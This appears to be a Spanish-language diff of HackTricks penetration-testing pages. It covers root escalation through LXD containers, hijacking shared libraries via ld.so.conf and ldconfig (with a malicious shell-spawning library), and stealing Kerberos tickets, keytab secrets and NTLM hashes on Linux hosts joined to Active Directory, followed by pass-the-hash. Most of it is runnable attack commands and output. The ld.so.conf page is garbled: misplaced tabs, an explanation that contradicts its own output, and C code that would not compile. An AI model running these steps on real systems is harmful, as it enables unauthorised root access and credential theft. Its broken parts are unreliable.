* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue la [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Si perteneces al grupo _**lxd**_ **o** _**lxc**_, puedes convertirte en root.
|
||||
|
||||
## Explotando sin internet
|
||||
|
||||
### Método 1
|
||||
|
||||
Puedes instalar en tu máquina este constructor de distribuciones: [https://github.com/lxc/distrobuilder](https://github.com/lxc/distrobuilder) (sigue las instrucciones del github):
|
||||
```bash
|
||||
sudo su
|
||||
#Install requirements
|
||||
sudo apt update
|
||||
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
|
||||
#Clone repo
|
||||
git clone https://github.com/lxc/distrobuilder
|
||||
#Make distrobuilder
|
||||
cd distrobuilder
|
||||
make
|
||||
#Prepare the creation of alpine
|
||||
mkdir -p $HOME/ContainerImages/alpine/
|
||||
cd $HOME/ContainerImages/alpine/
|
||||
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
|
||||
#Create the container
|
||||
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
|
||||
```
|
||||
Entonces, sube al servidor vulnerable los archivos **lxd.tar.xz** y **rootfs.squashfs**
|
||||
|
||||
Agrega la imagen:
|
||||
```bash
|
||||
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
|
||||
lxc image list #You can see your new imported image
|
||||
```
|
||||
# Crear un contenedor y agregar la ruta raíz
|
||||
|
||||
Para explotar esta vulnerabilidad, primero debemos crear un contenedor LXD y agregar la ruta raíz del host al contenedor. Para hacer esto, podemos seguir los siguientes pasos:
|
||||
|
||||
1. Crear un contenedor LXD:
|
||||
|
||||
```
|
||||
$ lxc init <image> <container-name> -c security.privileged=true
|
||||
```
|
||||
|
||||
2. Iniciar el contenedor:
|
||||
|
||||
```
|
||||
$ lxc start <container-name>
|
||||
```
|
||||
|
||||
3. Montar la ruta raíz del host en el contenedor:
|
||||
|
||||
```
|
||||
$ lxc config device add <container-name> host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
|
||||
Con estos pasos, hemos creado un contenedor LXD y hemos agregado la ruta raíz del host al contenedor. Ahora podemos acceder a los archivos del host desde el contenedor y, si encontramos alguna vulnerabilidad de escalada de privilegios, podemos explotarla para obtener acceso root en el host.
|
||||
```bash
|
||||
lxc init alpine privesc -c security.privileged=true
|
||||
lxc list #List containers
|
||||
|
||||
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Si encuentra este error _**Error: No se encontró ningún grupo de almacenamiento. Por favor, cree un nuevo grupo de almacenamiento**_\
|
||||
Ejecute **`lxd init`** y **repita** el fragmento de comandos anterior
|
||||
{% endhint %}
|
||||
|
||||
Ejecute el contenedor:
|
||||
```bash
|
||||
lxc start privesc
|
||||
lxc exec privesc /bin/sh
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
### Método 2
|
||||
|
||||
Construir una imagen de Alpine y ejecutarla usando la bandera `security.privileged=true`, forzando al contenedor a interactuar como root con el sistema de archivos del host.
|
||||
```bash
|
||||
# build a simple alpine image
|
||||
git clone https://github.com/saghul/lxd-alpine-builder
|
||||
cd lxd-alpine-builder
|
||||
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
|
||||
sudo ./build-alpine -a i686
|
||||
|
||||
# import the image
|
||||
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
|
||||
|
||||
# before running the image, start and configure the lxd storage pool as default
|
||||
lxd init
|
||||
|
||||
# run the image
|
||||
lxc init myimage mycontainer -c security.privileged=true
|
||||
|
||||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
# interact with the container
|
||||
lxc start mycontainer
|
||||
lxc exec mycontainer /bin/sh
|
||||
```
|
||||
Alternativamente [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
|
||||
|
||||
## Con internet
|
||||
|
||||
Puedes seguir [estas instrucciones](https://reboare.github.io/lxd/lxd-escape.html).
|
||||
```bash
|
||||
lxc init ubuntu:16.04 test -c security.privileged=true
|
||||
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
|
||||
lxc start test
|
||||
lxc exec test bash
|
||||
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
|
||||
```
|
||||
## Otras referencias
|
||||
|
||||
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
221
linux-hardening/privilege-escalation/ld.so.conf-example.md
Normal file
221
linux-hardening/privilege-escalation/ld.so.conf-example.md
Normal file
|
@ -0,0 +1,221 @@
|
|||
## Ejemplo de explotación de privesc de ld.so
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Preparar el entorno
|
||||
|
||||
En la siguiente sección se puede encontrar el código de los archivos que vamos a utilizar para preparar el entorno
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sharedvuln.c" %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include "libcustom.h"
|
||||
|
||||
int main(){
|
||||
printf("Welcome to my amazing application!\n");
|
||||
vuln_func();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ld.so.conf Example" %}
|
||||
# ld.so.conf Example
|
||||
|
||||
This file is used by the dynamic linker/loader (`ld-linux.so`) to determine the libraries that need to be loaded for a given executable. By default, it looks for this file in `/etc/ld.so.conf` and any files in the `/etc/ld.so.conf.d/` directory.
|
||||
|
||||
The format of the file is simple: each line contains the path to a directory containing shared libraries. Lines starting with `#` are treated as comments.
|
||||
|
||||
Here's an example `ld.so.conf` file:
|
||||
|
||||
```text
|
||||
# libc default configuration
|
||||
/usr/local/lib
|
||||
|
||||
# Additional libraries
|
||||
/opt/custom/lib
|
||||
```
|
||||
|
||||
This file tells the dynamic linker to look for shared libraries in `/usr/local/lib` and `/opt/custom/lib`. If you install a new library in one of these directories, you don't need to update any environment variables or configuration files; the dynamic linker will automatically find it.
|
||||
|
||||
## Security Implications
|
||||
|
||||
If an attacker can modify the `ld.so.conf` file, they can potentially execute arbitrary code with elevated privileges. For example, they could add a directory containing a malicious shared library to the file, causing the dynamic linker to load it when a privileged program is executed.
|
||||
|
||||
To prevent this type of attack, you should ensure that the `ld.so.conf` file is only writable by the `root` user, and that it is not world-readable. Additionally, you should monitor the file for changes and investigate any unexpected modifications.
|
||||
|
||||
## References
|
||||
|
||||
- [ld.so.conf(5) man page](http://man7.org/linux/man-pages/man5/ld.so.conf.5.html)
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func();
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ld.so.conf.d/custom.conf" %}
|
||||
|
||||
# Custom libraries path
|
||||
/home/user/custom_libs
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ld.so.conf" %}
|
||||
|
||||
include ld.so.conf.d/*.conf
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="ldd output" %}
|
||||
|
||||
```
|
||||
$ ldd /bin/bash
|
||||
linux-vdso.so.1 => (0x00007ffce8bfe000)
|
||||
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f5c5d5d2000)
|
||||
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f5c5d3ce000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5c5d00e000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f5c5d9f2000)
|
||||
```
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Explanation" %}
|
||||
|
||||
Este ejemplo muestra cómo agregar una ruta personalizada para bibliotecas compartidas en el archivo `/etc/ld.so.conf.d/custom.conf`. En este caso, la ruta `/home/user/custom_libs` se agrega al archivo. Luego, se utiliza el comando `ldd` para verificar que la biblioteca compartida `libtinfo.so.5` se carga desde la ruta personalizada en lugar de la ruta predeterminada. Esto puede ser útil para cargar versiones personalizadas de bibliotecas compartidas o para evitar conflictos con versiones predeterminadas de bibliotecas compartidas.
|
||||
|
||||
{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
void vuln_func()
|
||||
{
|
||||
puts("Hi");
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
1. **Crea** esos archivos en tu máquina en la misma carpeta.
|
||||
2. **Compila** la **biblioteca**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
|
||||
3. **Copia** `libcustom.so` a `/usr/lib`: `sudo cp libcustom.so /usr/lib` (privilegios de root)
|
||||
4. **Compila** el **ejecutable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
|
||||
|
||||
### Verifica el entorno
|
||||
|
||||
Verifica que _libcustom.so_ se está **cargando** desde _/usr/lib_ y que puedes **ejecutar** el binario.
|
||||
```
|
||||
$ ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffc9a1f7000)
|
||||
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
|
||||
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
Hi
|
||||
```
|
||||
## Exploit
|
||||
|
||||
En este escenario vamos a suponer que **alguien ha creado una entrada vulnerable** dentro de un archivo en _/etc/ld.so.conf/_:
|
||||
```bash
|
||||
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
|
||||
```
|
||||
La carpeta vulnerable es _/home/ubuntu/lib_ (donde tenemos acceso de escritura).\
|
||||
**Descarga y compila** el siguiente código dentro de esa ruta:
|
||||
```c
|
||||
//gcc -shared -o libcustom.so -fPIC libcustom.c
|
||||
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
void vuln_func(){
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
printf("I'm the bad library\n");
|
||||
system("/bin/sh",NULL,NULL);
|
||||
}
|
||||
```
|
||||
Ahora que hemos **creado la biblioteca maliciosa libcustom dentro de la ruta mal configurada**, necesitamos esperar a que se produzca un **reinicio** o que el usuario root ejecute **`ldconfig`** (_en caso de que puedas ejecutar este binario como **sudo** o tenga el bit **suid** podrás ejecutarlo tú mismo_).
|
||||
|
||||
Una vez que esto haya sucedido, **vuelve a verificar** desde dónde se está cargando la biblioteca `libcustom.so` en el ejecutable `sharevuln`:
|
||||
```c
|
||||
$ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007ffeee766000)
|
||||
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
|
||||
```
|
||||
Como puedes ver, se está cargando desde `/home/ubuntu/lib` y si algún usuario lo ejecuta, se ejecutará una shell:
|
||||
```c
|
||||
$ ./sharedvuln
|
||||
Welcome to my amazing application!
|
||||
I'm the bad library
|
||||
$ whoami
|
||||
ubuntu
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que en este ejemplo no hemos escalado privilegios, pero modificando los comandos ejecutados y **esperando a que el usuario root u otro usuario privilegiado ejecute el binario vulnerable**, podremos escalar privilegios.
|
||||
{% endhint %}
|
||||
|
||||
### Otras configuraciones incorrectas - Misma vulnerabilidad
|
||||
|
||||
En el ejemplo anterior simulamos una configuración incorrecta donde un administrador **estableció una carpeta no privilegiada dentro de un archivo de configuración dentro de `/etc/ld.so.conf.d/`**.\
|
||||
Pero hay otras configuraciones incorrectas que pueden causar la misma vulnerabilidad, si tiene **permisos de escritura** en algún **archivo de configuración** dentro de `/etc/ld.so.conf.d`, en la carpeta `/etc/ld.so.conf.d` o en el archivo `/etc/ld.so.conf`, puede configurar la misma vulnerabilidad y explotarla.
|
||||
|
||||
## Exploit 2
|
||||
|
||||
**Supongamos que tiene privilegios sudo sobre `ldconfig`**.\
|
||||
Puede indicar a `ldconfig` **dónde cargar los archivos de configuración**, por lo que podemos aprovecharlo para hacer que `ldconfig` cargue carpetas arbitrarias.\
|
||||
Entonces, creemos los archivos y carpetas necesarios para cargar "/tmp":
|
||||
```bash
|
||||
cd /tmp
|
||||
echo "include /tmp/conf/*" > fake.ld.so.conf
|
||||
echo "/tmp" > conf/evil.conf
|
||||
```
|
||||
Ahora, como se indica en el **exploit anterior**, **crea la biblioteca maliciosa dentro de `/tmp`**.\
|
||||
Y finalmente, carguemos la ruta y verifiquemos desde dónde se está cargando la biblioteca binaria:
|
||||
```bash
|
||||
ldconfig -f fake.ld.so.conf
|
||||
|
||||
ldd sharedvuln
|
||||
linux-vdso.so.1 => (0x00007fffa2dde000)
|
||||
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
|
||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
|
||||
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
|
||||
```
|
||||
**Como se puede ver, teniendo privilegios de sudo sobre `ldconfig` se puede explotar la misma vulnerabilidad.**
|
||||
|
||||
{% hint style="info" %}
|
||||
No encontré una forma confiable de explotar esta vulnerabilidad si `ldconfig` está configurado con el bit suid. Aparece el siguiente error: `/sbin/ldconfig.real: Can't create temporary cache file /etc/ld.so.cache~: Permission denied`
|
||||
{% endhint %}
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
|
||||
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
|
||||
* Máquina Dab en HTB
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
146
linux-hardening/privilege-escalation/linux-active-directory.md
Normal file
146
linux-hardening/privilege-escalation/linux-active-directory.md
Normal file
|
@ -0,0 +1,146 @@
|
|||
# Linux Active Directory
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
Una máquina Linux también puede estar presente dentro de un entorno de Active Directory.
|
||||
|
||||
Una máquina Linux en un AD podría estar **almacenando diferentes tickets CCACHE dentro de archivos. Estos tickets pueden ser utilizados y abusados como cualquier otro ticket Kerberos**. Para leer estos tickets, deberás ser el propietario del usuario del ticket o **root** dentro de la máquina.
|
||||
|
||||
## Enumeración
|
||||
|
||||
### Enumeración de AD desde Linux
|
||||
|
||||
Si tienes acceso a un AD en Linux (o bash en Windows), puedes probar [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) para enumerar el AD.
|
||||
|
||||
También puedes consultar la siguiente página para aprender **otras formas de enumerar AD desde Linux**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### FreeIPA
|
||||
|
||||
Es una **alternativa** de código abierto a Microsoft Windows **Active** **Directory**, utilizada principalmente como solución de gestión integrada para entornos **Unix**. Obtén más información al respecto en:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Jugando con tickets
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
En esta página encontrarás diferentes lugares donde podrías **encontrar tickets Kerberos dentro de un host Linux**, en la siguiente página puedes aprender cómo transformar estos formatos de tickets CCache a Kirbi (el formato que necesitas usar en Windows) y también cómo realizar un ataque PTT:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Reutilización de tickets CCACHE desde /tmp
|
||||
|
||||
> Cuando los tickets se configuran para almacenarse como un archivo en disco, el formato y tipo estándar es un archivo CCACHE. Este es un formato de archivo binario simple para almacenar credenciales Kerberos. Estos archivos se almacenan típicamente en /tmp y se limitan con permisos 600.
|
||||
|
||||
Lista el ticket actual utilizado para la autenticación con `env | grep KRB5CCNAME`. El formato es portátil y el ticket se puede **reutilizar configurando la variable de entorno** con `export KRB5CCNAME=/tmp/ticket.ccache`. El formato del nombre del ticket Kerberos es `krb5cc_%{uid}`, donde uid es el UID del usuario.
|
||||
```bash
|
||||
ls /tmp/ | grep krb5cc
|
||||
krb5cc_1000
|
||||
krb5cc_1569901113
|
||||
krb5cc_1569901115
|
||||
|
||||
export KRB5CCNAME=/tmp/krb5cc_1569901115
|
||||
```
|
||||
### Reutilización de tickets CCACHE desde el keyring
|
||||
|
||||
Los procesos pueden **almacenar tickets Kerberos en su memoria**, esta herramienta puede ser útil para extraer esos tickets (la protección ptrace debe estar deshabilitada en la máquina `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
```bash
|
||||
# Configuration and build
|
||||
git clone https://github.com/TarlogicSecurity/tickey
|
||||
cd tickey/tickey
|
||||
make CONF=Release
|
||||
|
||||
[root@Lab-LSV01 /]# /tmp/tickey -i
|
||||
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
|
||||
[+] root detected, so... DUMP ALL THE TICKETS!!
|
||||
[*] Trying to inject in tarlogic[1000] session...
|
||||
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
|
||||
[*] Trying to inject in velociraptor[1120601115] session...
|
||||
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
|
||||
[*] Trying to inject in trex[1120601113] session...
|
||||
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
|
||||
[X] [uid:0] Error retrieving tickets
|
||||
```
|
||||
### Reutilización de tickets CCACHE desde SSSD KCM
|
||||
|
||||
SSSD mantiene una copia de la base de datos en la ruta `/var/lib/sss/secrets/secrets.ldb`. La clave correspondiente se almacena como un archivo oculto en la ruta `/var/lib/sss/secrets/.secrets.mkey`. Por defecto, la clave sólo es legible si se tienen permisos de **root**.
|
||||
|
||||
Invocar **`SSSDKCMExtractor`** con los parámetros --database y --key analizará la base de datos y **descifrará los secretos**.
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
El **bloque Kerberos de caché de credenciales puede convertirse en un archivo CCache Kerberos** utilizable que puede ser pasado a Mimikatz/Rubeus.
|
||||
|
||||
### Reutilización de tickets CCACHE desde keytab
|
||||
```bash
|
||||
git clone https://github.com/its-a-feature/KeytabParser
|
||||
python KeytabParser.py /etc/krb5.keytab
|
||||
klist -k /etc/krb5.keytab
|
||||
```
|
||||
### Extraer cuentas de /etc/krb5.keytab
|
||||
|
||||
Las claves de servicio utilizadas por los servicios que se ejecutan como root se almacenan generalmente en el archivo de clave **`/etc/krb5.keytab`**. Esta clave de servicio es el equivalente a la contraseña del servicio y debe mantenerse segura.
|
||||
|
||||
Utilice [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) para leer el archivo keytab y analizar su contenido. La clave que se ve cuando el [tipo de clave](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) es 23 es el **hash NT real del usuario**.
|
||||
```
|
||||
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
|
||||
[...]
|
||||
[26] Service principal: host/COMPUTER@DOMAIN
|
||||
KVNO: 25
|
||||
Key type: 23
|
||||
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
Time stamp: Oct 07, 2019 09:12:02
|
||||
[...]
|
||||
```
|
||||
En Linux se puede utilizar [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): queremos el hash RC4 HMAC para reutilizar el hash NLTM.
|
||||
```bash
|
||||
python3 keytabextract.py krb5.keytab
|
||||
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
|
||||
[+] Keytab File successfully imported.
|
||||
REALM : DOMAIN
|
||||
SERVICE PRINCIPAL : host/computer.domain
|
||||
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
|
||||
```
|
||||
En **macOS** puedes usar [**`bifrost`**](https://github.com/its-a-feature/bifrost).
|
||||
```bash
|
||||
./bifrost -action dump -source keytab -path test
|
||||
```
|
||||
Conéctese a la máquina utilizando la cuenta y el hash con CME.
|
||||
```bash
|
||||
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
|
||||
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0
|
||||
```
|
||||
## Referencias
|
||||
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<details>
|
||||
|
||||
